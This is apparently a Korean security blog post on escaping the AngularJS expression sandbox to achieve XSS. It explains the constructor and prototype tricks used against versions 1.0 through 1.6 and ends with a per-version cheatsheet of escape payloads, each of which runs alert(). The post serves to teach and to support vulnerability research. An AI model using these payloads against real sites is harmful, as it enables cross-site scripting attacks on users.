AngularJS Sandbox Escape XSS
AngularJS는 웹 상에서 많이 사용되는 개발 프레임워크입니다. 이런 프레임워크에는 당연히 보안 로직, 정책이 들어가게되죠. 그 중에 대표적인 것은 바로 SandBox 입니다. Sandbox 로 인해 우리는 성공한 공격이 영향력이 없어지는 진귀한 광경을 목격하게되죠.
많은 해커들은 버전별로 AngularJS sandbox를 우회하려 하였고 덕분에 각 버전별로 여러 사람이 만든 우회 루틴이 존재합니다. Angular에서 sandbox 는 1.1.5 버전 이후로부터 적용되었고 sandbox, 즉 Angular Expression으로 인해 로컬영역으로 묶인 sandbox 밖에서 함수 호출이 실패하게 됩니다. 자주 사용하는 DOM 기반의 XSS에 영향을 줄 수 있는 부분이죠.
오늘은 AngularJS에 적용된 sandbox를 우회하는 방법과 Constructor에 대해 이야기할까 합니다.
Constructor
Javascript에선 모든 데이터가 Object입니다. 우리가 사용하는 Object 타입의 데이터, String, Array 등 모든 데이터는 Object로 표현됩니다. 아니 정확하겐 가장 중심이 되는 뿌리가 Object입니다.
이러한 Object가 생성될 때 초기화 등을 위해 동작할 함수는 Constructor, 즉 생성자입니다. 타 언어에서의 생성자와 유사한 기능을 수행합니다. 그래서 새로운 Object를 선언하면 Constructor에 의해 생성이 아래 코드로 보면 String
인 alert(45)
가 함수 형태로 생성되어 실행되는 걸 알 수 있죠.
{{constructor.constructor('alert(45)')()}}
Escape Sandbox of AngularJS 1.6
이전 버전과는 다르게 오히려 최신버전에서는 아주 간단하게 우회가 가능합니다. Constructor는 생성자이기 떄문에 Sandbox 외부에서 함수 실행이 가능합니다. 그리고 각 Object의 constructor 들은 constructor의 constructor를 가지고 있습니다.
"a".constructor
/*
function String() {
[native code]
}
*/
"a".constructor.constructor
/*
function Function() {
[native code]
}
*/
보통 constructor.constructor
는 Function()
을 가리키기 떄문에 아래와 같이 String으로 원하는 함수를 넘겨서 실행할 수 있습니다. (이건 Eval과 비슷한 특징을 가지죠)
constructor.constructor('alert(45)')()
그래서 위에 보여드렸던 코드로 쉽게 sandbox 우회가 가능합니다. 너무 간단해서.. 더 설명드릴게 없네요. 그럼 이전에는 어떤 방식으로 풀어나갔었는지 한번 볼까요?
Escape Sandbox of AngularJS 1.2
Angular에 적용된 초기버전의 sandbox는 ensureSafeMemberName() 함수를 통해 구현되었고 이 함수는 Javascript 속성에 위에서 말한 생성자(constructor)가 있는지 검사하는 로직을 가집니다.
function ensureSafeMemberName(name, fullExpression, allowConstructor) {
if(name === "constructor" && !allowConstructor) {
throw …
}
if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
throw …
}
return name;
}
초기의 우회루틴은 아래와 같은 형태로 이루어졌습니다.
{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(45)')()
}}
임의의 변수에 constructor 라는 문자열 값을 저장한 후 Object를 이용하여 constructor를 불러오고 인자값으로 실제 실행할 함수 이름과 값을 넘겨 실행합니다.
typeof(a.sub.call.call)
// function
getOwnPropertyDescriptor
// 객체 내 자신의 속성에 대한 descriptor를 반환
getPrototypeOf
// 객체의 [[Prototype]] 값을 반환
간단하게 요약하자면 name의 문자열로 필터링을 하니 필터링 다른 변수에 속성값을 저장하고 로드해서 사용하는 식으로 우회된 케이스이지요. 물론 현재 이 방법은 패치가 되어있습니다. 1.2 버전 이하에서만 영향력이 있죠.
다만 우리는 우회했던 방법에 대해선 잘 파악해둬야합니다.
Escape Sandbox of AngularJS 1.4
여러 버전으로 업데이트 되면서 로직에 변화가 생기고 새로운 함수들이 나타났습니다. 1.4 버전에선 __proto__
와 __defineSetter__
를 통해 Sandbox 우회가 가능합니다. __proto__
는 Safari, IE11에서 전역 선언이 가능해집니다. sandbox는 지역선언이 된 object를 해당 지역 이외로 나가지 못하도록(정확히는 나가면 실행이 되지 않게 함) 하지만 기능으로 전역 사용이 가능한 것이 나오고 말았죠.
해커들은 이를 놓치지 않았습니다. __proto__
를 이용해서 전역변수와 같이 해당 area 이외 구간으로 넘어갈 수 있으니 쉽게 Bypass가 가능합니다. 바로 Prototype Pollution이죠.
기존
{
false.__proto__.hwul=Function;
if(!false)false.hwul('alert(tata)')();
}
__proto__
내 임의의 영역(코드에선 hwul)에 Function 을 집어넣고 x를 호출하여 익명함수로 만듭니다.
false.hwul
/*
function Function() { [native code] }
*/
false.hwul('alert(45)');
/*
function anonymous() {
alert(45)
}
*/
함수 형태로 넘겨주면 실행이 되니깐 정상적으로 alert()
함수가 실행됩니다. 물론 전역으로요.
false.hwul('alert(45)')();
// undefined
Firefox 51에선 __lookupGetter__
를 통해서 함수의 호출자를 얻을 수 있습니다. 이땐 Firefox만 가능했던 기능이죠. 비슷한 맥락으로 __lookupGetter__
를 이용해 함수 호출자를 얻은 후 location 을 javascript 구문으로 바꾸어 상위 영역에서 함수를 호출합니다.
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(45)';
이런식으로 Javascript단에서의 SandBox 탈출이 가능하죠. (Angular 기준)
AngularJS Sandbox Escape cheatsheet
1.0.1 - 1.1.5 == works
constructor.constructor('alert(1)')()
1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);
1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");
1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);
1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')()
Reference
- http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html
- https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
- https://muckycode.blogspot.kr/2015/04/javascript-constructor.html
- https://www.hahwul.com/cullinan/prototype-pollution/